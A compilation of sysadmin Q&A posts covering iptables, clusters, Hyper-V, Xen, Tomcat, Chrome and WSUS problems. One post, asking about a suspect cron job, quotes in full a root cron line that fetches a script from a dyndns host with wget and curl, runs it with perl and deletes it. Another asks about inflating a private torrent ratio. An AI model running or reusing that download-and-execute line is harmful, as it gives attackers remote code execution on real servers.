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  • Limit maximum incoming connections to a port using iptables

    - by Harley
    I have a server that has apache listening on a number of ports. Some ports are used for configuring the server, and another is used to download large files. My problem is that when I have a large number of clients downloading files, the web interface is uncontactable. I would like to limit the number of clients connecting on the "large file" port so that apache always has available connections to configure the server. A REJECT is fine, the client trying to download the file will back off and retry later. Each client only has one connection open to the server at a time, so limiting by IP won't work. I know I could put something in front of apache to manage this, but I'd really like to do it in iptables, without adding more software.

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  • Linux stretch cluster: MD replication, DRBD or Veritas?

    - by PieterB
    For the moment there's a lot of choices for setting up a Linux cluster. For cluster manager: you can use Red Hat Cluster manager, Pacemaker or Veritas Cluster Server. The first one has the most momentum, the second one comes by default with RH subscriptions and the last one is very expensive and has a very good reputation ;-) For storage: - You can replicate LUN's using software raid / md device - You can use the network using DRBD replication, which offers a bit more flexibility - You can use Veritas Storage Foundation technology to talk to your SANs replication technology. Anyone has any recommandations or experience with these technologies?

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  • ubuntu: mumble 1.2.2 in Karmic

    - by Dan
    Karmic only has mumble 1.1.8, but if I want to connect to a 1.2 server I need to upgrade... So I would like to know how I can upgrade to mumble 1.2.2 without messing myself up for later when I upgrade to 10.04 and beyond... I just want a smooth transition into the next versions of mumble. Is there anyway to upgrade to this newer version and either keep it in the package manager or make it not interfere with the natural upgrades the program will later recieve from the package manager? Thanks, Dan

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  • Accessing through VPN, which internet connection would be used

    - by Sriram
    I've a data card which has a limit of 2 GB up/download traffic per month. I've an office internet line which has an unlimited up/download. I've successfully connected to VPN using my data card and by changing certain configurations like DNS etc., have also been able to use my office line for internet (verified by doing a IP check - returns the static IP of our office). Now to my question - is it just a NAT which is happening or am I actually using my office line for all communication. Which one would reflect the usage/trace. The data card usage log at this moment does not reflect any usage (which is confusing since the VPN is over the data card connection). Further more (theoretically), would the net be any faster if my office line is let us say 8Mbps and the data card is 512kbps by doing this as against directly connecting the internet using the data card.

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  • Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

    - by sr_1436048
    I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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  • non-GUI connection to local Hyper-V VM without network

    - by sandro
    I have a virtual machine on Hyper-V manager (Windows 2008 R2) without a network configured on the VM. From a powershell script running on the host Windows server, I would like to query into the OS of that local VM for certain information (i.e. if a given process has finished completion). I am using codeplex's pshyperv module (https://pshyperv.codeplex.com/) to interact with Hyper-V manager, but the only cmdlet to connect to the vm is 'New-VMConnectSession', which launches a 'vmconnect.exe' connection to the VM. Since vmconnect.exe is essentially RDP, this is not very script-friendly. From within a host's powershell script, is there any way to send a command to a local virtual machine's OS and receive output, if no network is configured on the VM? (I believe Vmware's 'vmrun' utility has this capability) Another way to ask this question: Does Hyper-V have a non-GUI-based form of vmconnect.exe? (PS. Not sure if this was more stackoverflow or serverfault)

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  • Tomcat memory usage grows until crash with no GC run

    - by Phil
    I'm administrating a server running Tomcat that is getting a lot of traffic lately. If I monitor memory usage in Task Manager I can see the memory usage growing and eventually tomcat crashes around the 1GB mark. Here's the memory relevent bits I've set in Tomcat Properties (this is a Windows Server): Intial memory pool: 1024 MB Maximum memory pool: 1024 MB -XX:MaxPermSize=256M The weird thing is since these problems arose I've deployed Lambda Probe to the Tomcat instance and the memory usage values I see there are much lower, for example Task Manager might show 467MB used while the "Total" used in Probe is 212 MB. Also, the Maximum Total listed in Probe is 1.29GB, when I would have expected 1GB, the maximum memory set above. If I force the garbage collector to run using Probe, I can keep Tomcat from crashing for a while (indefinitely, AFAIK). So why doesn't the GC run automatically and stop Tomcat from crashing? Thanks.

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  • Can we increase Torrent share ratio using Local Peer Discovery?

    - by Jagira
    I just want to know whether this is a flaw or not in Bittorrent system. Let us assume that I am member of a Private Torrent site which requires me to maintain a specific upload to download ratio. Will this work: I create a torrent of a large file say [ Fedora Linux ~ 4 GB ] and upload it to the tracker I download the same torrent using my ID and start it on another machine on LAN or a Virtual machine Both clients have Local Peer Discovery enabled, so they will find 'em [ not via DHT ] and start x'ferring data using LAN bandwidth at LAN speeds. Though both uploads and downloads will increase, my ratio will also increase If I reiterate the entire process 'n' times, the numerator in the "RATIO" i.e Upload will become so large that the effect of downloads on ratio will become less. I want to know whether this is legitimate???

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  • Set up DPM to use hardware VSS Provider with EMC Clariion SAN

    - by Ryan
    We recently purchased an EMC Clariion AX4 SAN and we're using it to provide storage for our Hyper-V virtual machines. I've already got the servers registered with it and configured the failover cluster CSV's, etc. I'm wanting to figure out what I have to do to set up the VSS Provider for the SAN, so that Microsoft Data Protection Manager can use it to backup the virtual machines. I'm new when it comes to Clariion SAN's, so I have no idea how to set up the VSS provider. I downloaded something from Powerlink that was labeled VSS Provider and installed it on one of the machines connected to the SAN. It had something to do with a Solutions Enabler (I don't know what that is), but it doesn't really seem like it did anything. I read something that suggested I'd need to have Navisphere Manager to use the VSS Provider on the AX4, but we didn't purchase that - we're just using Navisphere Express. Can anyone help me figure out how to get the VSS Provider up and running?

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  • File permissions issue with an NFSv4 share, uploaded from a Mac Lion

    - by POP.sicle
    I have an NFSv4 share that was working fine, with Macs using Snow Leopard, to share files across the network. The NFS share has one cloned user/group that all clients autoconnect as. However, when I use a Lion Mac to copy a file from their user directory to the NFS, no other computer (mac SL/mac Lion/Win7) can edit/delete/write to the file that was uploaded - despite having the correct read/write/ex permissions visible on the NFS and through terminal. Attempting to edit the file permissions through Finder completely locks the file. I suspect this has something to do with Lion's ACLs (or maybe its version control) conflicting with NFSv4. Is there a way to disable or ignore extended ACLs or extended file permissions on the NFSv4 side, that would allow users to not run into this conflict? The work around currently is to use NFS Manager and set automounts to ignore ownership but installing NFS manager and configuring automounts for all of the computers seems more troubling than attempting to reconfigure the NFS settings. Advice?

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  • Torrent, ISA Server 2006 and packet dropped due to TCP_NOT_SYNC

    - by Pascal
    Hi, I'm trying to get uTorrent 2.0.4 to work in a DMZ machine, protected by a ISA Server 2006. I've opened 1 inbound port (via publishing) and opened all the higher ports for that specific machine that runs uTorrent on my DMZ, and it's working almost fine. The problem is that I keep getting packets dropped with 0xc0040017 FWX_E_TCP_NOT_SYN_PACKET_DROPPED. Is there any way to disable this via registry? Is there any way around this? The download speed fluctuates a lot, and when I starts hitting the upper limit that I've defined in uTorrent, the errors start poping up a lot, and the download speed goes way down, and the process repeats on and on Tks Edit My outbound rules are: Port Range: TCP 10000-65535 Outbound Port Range: UDP 10000-65535 Send Edit It's probably a bug handling requests from Windows 7. When I installed the uTorrent on a XP machine, the problem went away

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  • use yum behind a proxy on CentOS 5.6

    - by ewok
    I have a CentOS VM running in Virtualbox on a Windows 7 host (all 64-bit). I have configured the proxy in the System menu and have added the proxy=http://my.proxy.com:12345 line to my /etc/yum.conf file. I am able to connect to the internet from a browser, and I can update packages form the update manager and install them from the package manager. However, I cannot use yum for anything. When I attempt to use yum (install, update, upgrade, or anything else), It attempts to connect to the mirrors, does nothing, then after a minute or so, quits. Does anyone know how to configure yum to work behind a proxy?

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  • Weird Windows 2003 MSDTC and SQL 2005 issue

    - by seagull surfer
    scenario: Windows 2003 sp2 x64 enterprise edition. SQL 2005 sp2 cu9 x64 Enterprise edition After restarting the resource groups on two node active-active cluster, 3 SQL 2005 instances start up fine. The 4th one starts up but starts throwing the following error. "Enlist operation failed: 0x8004d00e(XACT E NOTRANSACTION). SQL Server could not register with Microsoft Distributed Transaction Coordinator (MS DTC) as a resource manager for this transaction. The transaction may have been stopped by the client or the resource manager." MSDTC is fine since the other 3 function normally. The only way to "fix" it is to take the 4th instance offline and bring it online again. Is there any way to fix this enlistment without restarting?

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  • Google Chrome issues

    - by Ben Hooper
    I'm an avid user of Chrome and would defend it to the death but there is no denying that it has issues, and I've been experiencing a lot of them recently. Issues Stuck tabs Issue: Around 60% of the time (higher when the system has just started), when Chrome is launched, some or all of the pinned tabs and startup pages will get stuck in the counter-clockwise-rotating "contacting server" mode and never snap out of it. Fix: Quit and launch Chrome until they load properly (this really isn't good, as quitting and launching Chrome can and has cleared all pinned tabs). Extra Information: If you stop the loading and re-enter the URL then the page will load perfectly. The amount of pinned tabs or startup pages seems to be irrelevant, but I could be wrong.   "Downloaded/out of" Issue: Each item in the download bar has a downloaded status section, formatted as "downloaded/out of". Sometimes Chrome doesn't display the "out of" part.   Collapsed settings windows Issue: In Chrome version 19(ish)+, settings are configured via overlayed / popup windows. Sometimes, the window will open fully collapsed. Fix: Resize Chrome's window or open the developer tools. "Network Error" with large downloads Issue: Sometimes, when downloading large files (500MB+) Chrome will download the entire file, the download status will freeze (for example, "1 GB/1 GB") for a few minutes, report "Network error", and delete the .crdownload file. Extra Information: The same file from the same website on the same computer downloads perfectly in other browsers. The website and file type seem to be irrelevant.   Information: I've experienced some of these issues on my home PC and some on my work PC, both of which are Windows 7 Ultimate x64. The only things that link them are my Google account (all settings are synced). Updating Chrome hasn't worked. Most of these issues presented themselves around about version 17 and have continued right through to 21 (current). Uninstalling Chrome, deleting all data in %programFiles(x86)%\Google and %localAppData%\Google, and reinstalling hasn't worked. I have yet to see whether disabling all extensions would make a difference, but it's hard to diagnose as these issues don't occur 100% of the time.   In my case, I don't know if there's an actual solution. I'm just curious as to whether anyone else is having similar issues to those that I'm experiencing. At least then I'll know it's an issue with Chrome itself.

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  • No HDMI audio - Windows 8 - ASUS H81M-PLUS

    - by Paul Wright
    I have an issue with HDMI audio on Windows 8 using an ASUS H81M-PLUS motherboard (without an external GFX card). There are many forum posts advising you to go into playback devices and setting HDMI to be default - I have done this. To eliminate what works and what doesn't work: I have not been able to get sound from my HDTV using HDMI. I have used this HDMI cable with my PS3, so this cable should be fine. I am able to use the HDMI cable in extended mode, so that I have two monitors (including the TV), just no audio. This HDMI cable goes straight from the motherboard to the TV. Below I have included 'Device manager', and 'Playback Devices' (Sound). Device Manager Playback Devices, showing disabled and disconnected devices I am at a loss. I have uninstalled all drivers, and then rebooted and made windows look for the correct ones, made sure the HDMI device was default. Thanks, Paul

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  • WinXP Movie Maker Codec Error

    - by Bob Rivers
    I'm trying to use Windows XP Movie Maker, but when I try to import an AVI video, it shows an error telling me that it wasn't import due to an the fact that the codec wasn't available (I'm able to see the video using the windows media player) First, the error message suggested to enable the option "download codecs automatically" under "tools options general". I did it. But know the error tells me that the codec wasn't available and, if I already installed it, I should reinitialize movie maker. I also already did it... The error msg is: The file D:\movie1.avi cannot be imported because the codec required to play the file is not installed on your computer. If you have already tried to download and install the codec, close and restart Windows Movie Maker, and then try to import the file again. Any hints?

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  • Hyper-V management remotely

    - by Péter
    I'll tell you in advance that I'm newbie in the topic. I have a Win8 (Home) machine with Hyper-V installed behind a router. The router has a public IP and a domain attached. I have another Win8 (Work) machine also installed Hyper-V. I want to access to my home Hyper-V via Hyper-V Manager so I can manage my virtual machines from work. I found this article but I don't know if it's applicable to me. I thought that a simple port forwarding should work and I only need to do is grant the Work HV manager my domain and the port I choose and if it's pop a login form I only need to fill the user data of my Home computer? How can I solve this? My thoughts revolve around: - Port forwarding - set domain+port and set my home user - Set up a VPN and use the local ip address of my home computer (it looks like a little cumbersome and my router only support PPTP) I'm open to any other solution too. Thanks, Péter

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  • setting up Ubuntu 10.10 as paravirtualized guest in Xen on RHEL5 host - what kernel?

    - by kostmo
    I've discovered the tool ubuntu-vm-builder, which I've installed and then invoked on an Ubuntu workstation as: sudo vmbuilder xen ubuntu --suite maverick --flavour virtual --arch amd64 --mem=512 --rootsize 8192 This workstation is not the intended target host of the virtual machine, however; I would like to host the guest on a Red Hat Enterprise Linux 5 machine that is running Xen 3.0.3. The output of this command appears to be a folder named ubuntu-xen containing three files: tmpXXXXXX, a very large file which I assume is the root partition image tmpYYYYYY, a somewhat large file which I assume is the swap partition image xen.conf, a text file I have copied the xen.conf file to the RHEL server's /etc/xen directory under the new name newvm, adjusting the paths of tempXXXXXX and tempYYYYYYin the file after also copying them from my local workstation to the RHEL server. When I launch the Virtual Machine Manager virt-manager, I can see the newvm virtual machine listed underneath the Dom0 machine. When I try to start newvm, I get the error: Error starting domain: virDomainCreate() failed POST operation failed: (xend.err 'Error creating domain: Kernel image does not exist: None') Indeed, there exists an entry kernel = 'None' in the xen.conf file. How do I find out what the path of the kernel should be? Is this path supposed to be to a kernel stored on the local filesystem of the RHEL5 host, or is it supposed to be a path inside the guest image? I see that the vmbuilder command provides for a --xen-kernel option, along with a --xen-ramdisk option, but I'm not sure what to use for either. I think I should be able to get this to work, since Ubuntu is said to be supported as a Xen guest, even though the Xen 4.0.1 docs state support for only a limited set of distributions, Ubuntu excluded. Update 1 When running vmbuilder on my local workstation, I did observe an output line saying: Calling hook: install_kernel and later, output lines saying: update-initramfs: Generating /boot/initrd.img-2.6.35-23-virtual [...] run-parts: executing /etc/kernel/postinst.d/initramfs-tools 2.6.35-23-virtual /boot/vmlinuz-2.6.35-23-virtual So in the xen.conf file, I tried setting the lines: kernel = '/boot/vmlinuz-2.6.35-23-virtual' ramdisk = '/boot/initrd.img-2.6.35-23-virtual' When trying to start the VM, I got an error similar to last time: Error starting domain: virDomainCreate() failed POST operation failed: (xend.err 'Error creating domain: Kernel image does not exist: /boot/vmlinuz-2.6.35-23-virtual') This makes me think that the RHEL5 machine is looking for local files, rather than a file within the binary guest disk image. After running sudo updatedb on my workstation, neither of those files were found. If the vmbuilder tool had tried to install them, it must have failed. Update 2 I was able to extract the kernel and initrd images from the guest disk binary by mounting it: mkdir mnt_tmp sudo mount ubuntu-xen/tmpXXXXXX mnt_tmp/ -o loop cp mnt_tmp/boot/vmlinuz-2.6.35-23-virtual virtual_kernel_ubuntu cp mnt_tmp/boot/initrd.img-2.6.35-23-virtual virtual_initrd_ubuntu These two files I copied to the RHEL5 server, and edited the xen.conf file to point to them as kernel and ramdisk. With this done, I could "run" the newvm virtual machine from within virt-manager, but was met with the message Console Not Configured For Guest when I double clicked the entry to open the Virtual Machine Console. As suggested by a forum, I then added the line vfb = [ 'type=vnc' ] to the configuration file, recreated the virtual machine (a ~10 min process), and this time got the message: Connecting to console for guest This remained indefinitely; after selecting View - Serial Console, I found a kernel panic: [5442621.272173] Kernel panic - not syncing: Attempted to kill the idle task! [5442621.272179] Pid: 0, comm: swapper Tainted: G D 2.6.35-23-virtual #41-Ubuntu [5442621.272184] Call Trace: [5442621.272191] [<ffffffff815a1b81>] panic+0x90/0x111 [5442621.272199] [<ffffffff810652ee>] do_exit+0x3be/0x3f0 [5442621.272204] [<ffffffff815a5e20>] oops_end+0xb0/0xf0 [5442621.272211] [<ffffffff8100ddeb>] die+0x5b/0x90 [5442621.272216] [<ffffffff815a56c4>] do_trap+0xc4/0x170 [5442621.272221] [<ffffffff8100ba35>] do_invalid_op+0x95/0xb0 [5442621.272227] [<ffffffff8130851c>] ? intel_idle+0xac/0x180 [5442621.272232] [<ffffffff810072bf>] ? xen_restore_fl_direct_end+0x0/0x1 [5442621.272239] [<ffffffff815a48fe>] ? _raw_spin_unlock_irqrestore+0x1e/0x30 [5442621.272247] [<ffffffff8108dfb7>] ? tick_broadcast_oneshot_control+0xc7/0x120 [5442621.272253] [<ffffffff8100ad5b>] invalid_op+0x1b/0x20 [5442621.272259] [<ffffffff8130851c>] ? intel_idle+0xac/0x180 [5442621.272264] [<ffffffff813084e0>] ? intel_idle+0x70/0x180 [5442621.272269] [<ffffffff810072bf>] ? xen_restore_fl_direct_end+0x0/0x1 [5442621.272275] [<ffffffff8148a147>] cpuidle_idle_call+0xa7/0x140 [5442621.272281] [<ffffffff81008d93>] cpu_idle+0xb3/0x110 [5442621.272286] [<ffffffff815873aa>] rest_init+0x8a/0x90 [5442621.272291] [<ffffffff81b04c9d>] start_kernel+0x387/0x390 [5442621.272297] [<ffffffff81b04341>] x86_64_start_reservations+0x12c/0x130 [5442621.272303] [<ffffffff81b08002>] xen_start_kernel+0x55d/0x561 Update 3 I tried an i386 architecture instead of amd64, but got the same kernel panic. Also, it seems the Virtual Machine Manager pays attention to the format of the filename of the kernel; for the same kernel binary, I tried simply naming it vmlinuz-virtual, which threw out an error box about an invalid kernel. When I named it vmlinuz-2.6.35-23-virtual, it did not throw the error, but it did still result in the kernel panic shortly thereafter.

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  • How to reset Nexus One to Android 2.2.1 or 2.3?

    - by jblocksom
    I have a Nexus One (with the radios for the AT&T network) which has an old beta version of 2.2 on it. It doesn't receive over the air updates, and I'd like to get it running something more recent. Where can I find a download for Android 2.2.1 or 2.3? There's a link to an updater on Google's site that's given by numerous blogs but it's always broken. It's kind of bizarre to me that this phone is stuck in an OS limbo since it won't receive updates and there's no place to download the latest.

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  • How to get Windows Server 2008 VM to use multiple cores

    - by David Fraser
    I have a Windows Server 2008 machine running in VirtualBox. On initial installation, only one processor was made available, but now I want to run it as a multiprocessor machine. I have made all four cores available in the VirtualBox settings (as well as enabling VT-x/AMD-V and Nested Paging), but Task Manager still only shows one CPU. However, the four CPU cores are visible in Device Manager under Processors. In the event log on startup, I can see the following relevant events: EventLog.6009 Microsoft (R) Windows (R) 6.00.6002 Service Pack 2 Multiprocessor Free Kernel-Processor-Power.4 Processor 0 exposes the following: 1 idle state(s), 0 performance state(s), 0 throttle state(s) Kernel-Processor-Power.4 Processor 255 exposes the following: 0 idle state(s), 0 performance state(s), 0 throttle state(s) Kernel-Processor-Power.4 Processor 255 exposes the following: 0 idle state(s), 0 performance state(s), 0 throttle state(s) Kernel-Processor-Power.4 Processor 255 exposes the following: 0 idle state(s), 0 performance state(s), 0 throttle state(s) How can I make this system actually boot up as a multiprocessor machine?

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  • Building a WSUS server: where to start?

    - by eleven81
    Rather than having all of my computers go out to the internet and download their Automatic Updates, I am seriously considering building a WSUS server. That is, a Windows Update server. I have read some articles, and they have been helpful, but not complete. The following is what I have gleaned are the steps I need to take: Commission a computer to be the server with Windows 2003 Server. Install the WSUS package(s) and select the type of updates to check for. Configure the rest of my computers to be clients of this server. Set the clients to receive updates from the server. My questions are as follows: Does the server have to run Windows 2003 Server, or will Windows XP Professional work? Where do I download the WSUS packages from? How can I configure my computers to look for updates from my server instead of the internet? Thanks!!

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  • How to install seleniumHQ for Python on Windows?

    - by Katie
    I would like to know how to install SeleniumHQ (http://seleniumhq.org/download/) on Windows XP/Vista/7? On Ubuntu/Debian system you need to just type those commands: $ sudo apt-get install python-pip $ sudo pip install selenium $ sudo apt-get install python-pip xvfb xserver-xephyr $ sudo pip install selenium and then I can do this: #!/usr/bin/env python from selenium import selenium # ... but how about Windows? Thanks for any help (I know where to find Selenium doc but still - would anybody be so kind to give me some steps: I mean, download this, do that ...) THANKS:)

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  • Bluetooth radio device is not available

    - by Mike
    I reinstalled my Windows 7 operating system, and have since been unable to detect my Logitech m555b bluetooth mouse. Here is some info about my system: I have have a working connection with a bluetooth printer. I have a message in the "My Bluetooth" section of explorer stating "Bluetooth radio device is not available". The Device Manager indicates that the Generic Bluetooth radio is working correctly. The bluetooth "F12" switch is on. Mouse batteries are new and the right way around. I'm presuming that I need a bluetooth driver which is non generic. The computer is a Clevo P150HMx (the version with the GTX485 GPU) with the default WLAN / bluetooth combo card manufactured by Realtek (I think it's a Realtek RTL8188CE card). I think I have the drivers installed, but I still get the generic driver in the Device Manager. I'm confused. Please help, I'm going mad on the touchpad. (Thanks for the touchup wizlog)

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